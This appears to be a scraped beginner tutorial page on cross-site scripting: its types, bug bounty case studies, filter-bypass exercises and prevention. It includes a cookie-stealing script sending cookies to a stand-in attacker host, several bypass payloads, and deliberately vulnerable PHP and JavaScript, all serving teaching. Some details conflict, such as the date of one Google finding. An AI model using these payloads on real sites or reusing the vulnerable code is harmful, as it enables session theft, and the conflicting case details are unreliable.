A comprehensive guide for beginner cybersecurity enthusiasts
Course Progress: 0%
Table of Contents
1. Introduction to XSS
Cross-Site Scripting (XSS) is one of the most common web
application security vulnerabilities. It occurs when an attacker
injects malicious scripts into web pages viewed by other users.
When a website doesn't properly validate or encode user input,
attackers can execute malicious JavaScript in the context of
victims' browsers.
Why XSS matters: XSS attacks can lead to
session hijacking, credential theft, phishing, malware
injection, and defacement of websites. According to OWASP,
XSS has consistently ranked in the top 10 web application
security risks.
XSS Impact Visualization
Fundamentals of XSS
Attack Vector: User input fields, URL
parameters, JSON data, and even HTTP headers
Attack Goal: Execute JavaScript in the context
of another user's browser session
Common Payloads: Alert boxes, cookie stealers,
keystroke loggers, form hijackers
Impact: Ranges from nuisance alerts to complete
account takeovers
Basic XSS Payload Example
<script>alert('XSS');</script>
Try it yourself!
Enter the basic XSS payload above in the input field and click
"Submit" to see what happens:
Knowledge Check
What does XSS stand for?
2. The 3 Main Types of XSS
XSS attacks can be categorized into three main types.
Understanding the differences between these types is crucial for
both identifying vulnerabilities and implementing proper defenses.
Type
Description
Delivery Method
Persistence
Reflected XSS
Malicious script is reflected off the web server in an
error message, search result, or any response that
includes user-supplied data
Typically through URL parameters or form submissions
Non-persistent (one-time)
Stored XSS
Malicious script is stored on the target server (e.g., in
a database, message forum, comment field)
Via user input that gets permanently stored
Persistent (remains until removed)
DOM-based XSS
Vulnerability exists in client-side code rather than
server-side code
Through manipulation of the DOM environment
Typically non-persistent
Reflected XSS Flow
1. Attacker crafts a malicious link with embedded script
2. Victim clicks the malicious link
3. Web server reflects the script in its response
4. The script executes in the victim's browser
Stored XSS Flow
1. Attacker posts malicious script to a website (e.g.,
in a comment)
2. Server stores the script in its database
3. Victim visits the page containing the stored script
4. Server delivers the content with the embedded script
5. Script executes in victim's browser
DOM-based XSS Flow
1. Attacker crafts a URL with malicious payload
2. Victim visits the malicious URL
3. Client-side JavaScript code processes data from the
URL
4. JavaScript modifies the DOM, inserting the payload
5. Malicious script executes in the victim's browser
Expert Tip: When testing for XSS
vulnerabilities, try multiple payload variations. Websites
often implement partial input sanitization that can be
bypassed with creative encoding or script techniques.
2.1 Reflected XSS
Reflected XSS is the most common type of Cross-Site Scripting. In
a reflected XSS attack, the malicious script is reflected off the
web server, such as in an error message, search result, or any
other response that includes some or all of the input sent to the
server as part of the request.
How Reflected XSS Works
An attacker identifies a vulnerable website that reflects
user input without proper sanitization
The attacker crafts a malicious URL that includes JavaScript
code as a parameter
The attacker sends this URL to potential victims (via email,
message, etc.)
When a victim clicks the link, their browser sends the
request to the vulnerable server
The server includes the malicious script in its response
The victim's browser executes the script as if it came from
the trusted website
Form Fields: Submitting scripts via search,
login, or feedback forms
HTTP Headers: Some applications reflect HTTP
headers like User-Agent in their responses
Error Messages: Applications that display error
messages containing user input
Interactive Demo: Reflected XSS
Step 1: Enter a search query in our vulnerable search
application
Results:
Search results will appear here...
Try entering a basic XSS payload like
<script>alert('XSS');</script> to see
how reflected XSS works.
Real-world Example: Reflected XSS in Search Functionality
In 2018, a security researcher found a reflected XSS
vulnerability in Google's custom search engine. When a search
was performed, the query parameter was reflected in the page
without proper encoding, allowing attackers to execute
JavaScript.
// Using different event handlers
<img src="x" onerror="alert('XSS')">
// Using HTML encoding
<img src="x" onerror="alert('XSS')">
// Using JavaScript encoding
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
// Using data URI
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
Knowledge Check
In a reflected XSS attack, where is the malicious code stored?
2.2 Stored XSS
Stored XSS (also known as persistent XSS) is considered the most
dangerous type of XSS. In this attack, the malicious script is
stored permanently on the target server, such as in a database,
forum post, comment field, or visitor log.
How Stored XSS Works
An attacker identifies a website that stores user input
without proper sanitization
The attacker submits a malicious script via a form that
stores data (comment, review, etc.)
The website stores the malicious script in its database
When other users view the page containing the stored script,
it's served as part of the website's content
The victims' browsers execute the script as if it came from
the trusted website
The attack affects every visitor that views the infected
page
Vulnerable Comment System Code
<?php
// Store the comment in the database
$comment = $_POST['comment'];
$query = "INSERT INTO comments (comment_text) VALUES ('$comment')";
$db->query($query);
// Display comments (vulnerable code)
$result = $db->query("SELECT * FROM comments");
while ($row = $result->fetch_assoc()) {
echo "<div class='comment'>" . $row['comment_text'] . "</div>";
}
?>
This code stores and displays user comments without any
sanitization.
Common Attack Vectors
Comment Systems: Blog comments, forum posts,
product reviews
User Profiles: Profile information, status
updates, signatures
Message Boards: Public or private messages
between users
Support Tickets: Customer service requests that
are viewed by staff
Contact Forms: If submissions are stored and
displayed to administrators
Interactive Demo: Stored XSS
Step 1: Leave a comment on our vulnerable blog
Comments Section:
Jane Doe: This is a great article! Thanks
for sharing.
John Smith: I learned a lot from this. Very
informative.
Try posting a comment with a basic XSS payload like
<script>alert('Stored XSS');</script>
to see how stored XSS works. Notice how the script executes
whenever the comments section is viewed.
Real-world Example: Stored XSS in Social Media
In 2014, a security researcher discovered a stored XSS
vulnerability in Twitter that allowed attackers to embed
JavaScript in tweets. When users viewed these tweets, the
malicious code would execute.
The vulnerability was found in Twitter's TweetDeck application,
which didn't properly sanitize tweet content. A simple tweet
containing
<script class="xss">alert("XSS")</script>
was automatically retweeted thousands of times as users viewed
the infected tweet.
Cookie Stealing Payload Example
<script>
// Create an image element with source pointing to attacker's server
// with the document.cookie as a URL parameter
var img = new Image();
img.src = 'https://attacker.com/steal.php?cookie=' + document.cookie;
document.body.appendChild(img);
</script>
This payload creates an invisible image that sends the victim's
cookies to the attacker's server. The attacker can then use these
cookies to hijack the victim's session.
Knowledge Check
Why is stored XSS generally considered more dangerous than
reflected XSS?
2.3 DOM-based XSS
DOM-based XSS is a type of Cross-Site Scripting attack where the
vulnerability exists in client-side code rather than server-side
code. The attack payload is executed as a result of modifying the
DOM environment in the victim's browser.
How DOM-based XSS Works
An attacker identifies a website with vulnerable client-side
JavaScript
The attacker creates a malicious URL with a payload that
targets DOM manipulation
When a victim visits the URL, the page's JavaScript code
runs
The vulnerable JavaScript takes data from the URL (like
fragment or query parameters)
This data is used to dynamically update the DOM without
proper sanitization
The malicious script is inserted into the DOM and executed
in the victim's browser
Vulnerable JavaScript Code
<script>
// Get the value of the 'name' parameter from URL
var name = document.location.href.split('name=')[1];
// Vulnerable code that inserts the parameter into the DOM
document.getElementById('greeting').innerHTML = 'Hello, ' + name + '!';
</script>
This code takes a parameter from the URL and inserts it
directly into the DOM without sanitization.
Common DOM Sources and Sinks
DOM Sources (Where attacker-controlled data comes from)
document.URL
document.location and all its properties
document.referrer
window.name
history.pushState()
URL parameters and fragments
Web Storage (localStorage,
sessionStorage)
DOM Sinks (Vulnerable methods that can execute or insert HTML)
document.write()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
eval()
setTimeout() / setInterval() with
string parameters
location object properties
jQuery functions like $('selector').html()
Interactive Demo: DOM-based XSS
A simple page that greets users by name:
Welcome to our Website
Hello, Guest!
Try entering a DOM XSS payload like
<img src="x" onerror="alert('DOM XSS')"> to
see how DOM-based XSS works.
The vulnerable code that updates the greeting looks like this:
// Vulnerable function used in our demo
function domXSSDemo() {
var name = document.getElementById('name-input').value;
document.getElementById('greeting-output').innerHTML = 'Hello, ' + name + '!';
}
Real-world Example: DOM-based XSS in Popular Frameworks
In 2019, a security researcher found a DOM-based XSS
vulnerability in React Router, a popular routing library for
React applications. The vulnerability was in the way React
Router handled URL parameters, which could be exploited to
inject malicious JavaScript.
When React Router parsed URL parameters, it would directly
insert them into the DOM without proper sanitization. An
attacker could craft a URL that contained malicious code, and
when a victim visited that URL, the code would execute in their
browser.
Advanced DOM XSS Techniques
// Using URL fragments
https://example.com/page#<img src="x" onerror="alert(1)">
// Using javascript: protocol
<a href="javascript:alert(1)">Click me</a>
// Using event handlers with encoded values
<a onmouseover="alert(String.fromCharCode(88,83,83))">Hover over me</a>
// Exploiting jQuery's $(selector) function
https://example.com/page#<div id="$(alert(1))">
Knowledge Check
What is unique about DOM-based XSS compared to Reflected and
Stored XSS?
3. Real-World Bug Bounty Scenarios
Understanding real-world XSS vulnerabilities can provide valuable
insights into how these attacks are discovered and exploited in
the wild. Let's examine some notable bug bounty reports involving
XSS vulnerabilities.
Case Study 1: XSS in Google Search
Vulnerability Details
Type: Reflected XSS
Discovery Date: 2019
Bounty: $5,000
Description
A security researcher discovered a reflected XSS vulnerability
in Google's custom search implementation. The vulnerability
was found in the error page that appeared when no results were
found for a search query.
Exploit
The researcher noticed that when searching for specific terms
with no results, the error message would include the search
term without proper sanitization. By crafting a search query
with embedded JavaScript, they could execute code in the
context of Google's domain.
This vulnerability could have been used to steal Google
account cookies, leading to account takeover. Additionally,
given Google's trusted domain, phishing attacks launched from
this domain would have been particularly effective.
Case Study 2: Stored XSS in Twitter
Vulnerability Details
Type: Stored XSS
Discovery Date: 2014
Bounty: Not disclosed
Description
A significant stored XSS vulnerability was discovered in
Twitter's TweetDeck client. The vulnerability allowed
attackers to embed JavaScript in tweets, which would then
execute when viewed by other users.
Exploit
The researcher found that TweetDeck wasn't properly sanitizing
tweet content. By including HTML and JavaScript in a tweet,
they could execute arbitrary code in the context of Twitter's
domain.
<script class="xss">alert("XSS in TweetDeck")</script>♥
Impact
This vulnerability quickly spread as the payload included code
to automatically retweet itself. Within hours, thousands of
users had unwittingly retweeted the malicious content,
demonstrating the viral nature of stored XSS attacks.
Case Study 3: DOM-based XSS in PayPal
Vulnerability Details
Type: DOM-based XSS
Discovery Date: 2017
Bounty: $5,500
Description
A security researcher discovered a DOM-based XSS vulnerability
in PayPal's main site. The vulnerability existed in
client-side JavaScript code that handled URL parameters
without proper sanitization.
Exploit
The researcher found that JavaScript on PayPal's website was
taking values from the URL and directly inserting them into
the DOM. By crafting a special URL with a malicious payload,
they could execute JavaScript in the context of PayPal's
domain.
This vulnerability could have been used to create convincing
phishing pages, steal session tokens, or perform unauthorized
actions on behalf of PayPal users. Given PayPal's financial
nature, the potential impact was particularly severe.
Bug Bounty Tips for Finding XSS Vulnerabilities
Test All Input Points
Every input field, URL parameter, HTTP header, and form
submission is a potential entry point for XSS. Test them all
systematically.
Try Different Contexts
The same XSS payload may work differently depending on where
it's inserted (in HTML, in JavaScript, in attributes, etc.).
Adapt your approach based on the context.
Bypass Filters
Many applications implement basic XSS filters that can be
bypassed. Try encoding variations, different event handlers,
and creative syntax.
Check JavaScript Libraries
Applications often use JavaScript libraries with known
vulnerabilities. Identify which libraries are in use and
research known XSS issues.
Understand the Application
Take time to understand how the application works,
especially its data flow and user input handling. This
knowledge can reveal less obvious attack vectors.
Responsible Disclosure: When finding XSS
vulnerabilities, always follow responsible disclosure
practices. Report the issue to the affected organization
through their bug bounty program or security contact before
disclosing it publicly.
Bug Bounty Resources for XSS
HackerOne:Public bug reports
include many XSS findings with detailed explanations
Let's put your XSS knowledge to the test with some interactive
exercises. These simulations will help you practice identifying
and exploiting XSS vulnerabilities in a safe environment.
Exercise 1: Find the Vulnerability
Examine the following code snippets and identify which ones
contain XSS vulnerabilities. Click the "Check" button after
selecting your answers.
This exercise will test your ability to bypass basic XSS
filters. The example filter blocks the
<script> tag and the
javascript: protocol, but can still be bypassed.
Filter Rules:
The string <script is blocked
(case-insensitive)
The string javascript: is blocked
(case-insensitive)
Other tags and events are allowed
Test your bypass:
Result:
Your bypass results will appear here...
Solution Examples:
<img src="x" onerror="alert('XSS Bypass')">
<body onload="alert('XSS Bypass')">
<svg onload="alert('XSS Bypass')">
5. Prevention Techniques
Preventing XSS vulnerabilities is essential for building secure
web applications. This section covers the most effective
techniques for defending against all types of XSS attacks.
Input Validation
Always validate user input on the server side to ensure it meets
expected formats and criteria.
Good Practice
<?php
// Validate that input is an integer
if (!is_numeric($_GET['id'])) {
die("Invalid input");
}
$id = (int)$_GET['id'];
// Use $id safely
?>
Bad Practice
<?php
// No validation, direct use of input
$id = $_GET['id'];
// Use $id unsafely
?>
Output Encoding
Encode output based on the context where it will be rendered to
prevent script execution.
Content Security Policy is a powerful browser feature that helps
prevent XSS attacks by controlling which resources can be loaded
and executed on your page.
Restricts scripts to load only from the same origin and a
trusted CDN
Blocks all plugin content (object-src 'none')
Allows stylesheets only from the same origin and a trusted CDN
For all other resource types, only allows loading from the
same origin
Note: While CSP is a strong defense
against XSS, it should be used in combination with proper
input validation and output encoding, not as a
replacement.
Framework-specific Protections
Modern web frameworks often include built-in XSS protections
that you should leverage.
Framework
Protection Features
Example
React
Automatic escaping of values in JSX
<div>{userInput}</div>
Angular
Automatic sanitization with property binding
<div [innerText]="userInput"></div>
Django
Auto-escaping in templates
{{ user_input }}
Laravel
Blade template escaping
{{ $userInput }}
Warning: Be cautious of framework
features that bypass the default protections, such as
React's dangerouslySetInnerHTML or Angular's
[innerHTML].
XSS Prevention Checklist
Validate all user input
Implement server-side validation for all user inputs,
including URL parameters, form fields, and HTTP headers.
Use appropriate output encoding
Encode user-controlled data based on the context where it
will be displayed (HTML, JavaScript, CSS, etc.).
Implement Content Security Policy
Set up a strong CSP to restrict script sources and other
resources.
Use framework security features
Leverage the built-in XSS protections provided by your web
framework.
Apply the principle of least privilege
Only use dangerous functions (innerHTML, eval, etc.) when
absolutely necessary and with proper safeguards.
Sanitize HTML
Use an HTML sanitizer library if you need to allow some
HTML content from users.
Set secure cookies
Use HttpOnly and Secure flags on cookies to prevent
JavaScript access and transmission over insecure
connections.
Regularly audit your code
Conduct security code reviews and perform penetration
testing to find XSS vulnerabilities.
6. Additional Resources
To further enhance your XSS knowledge and skills, here are some
valuable resources and tools:
Learning Resources
OWASP XSS
Comprehensive information about XSS from the Open Web
Application Security Project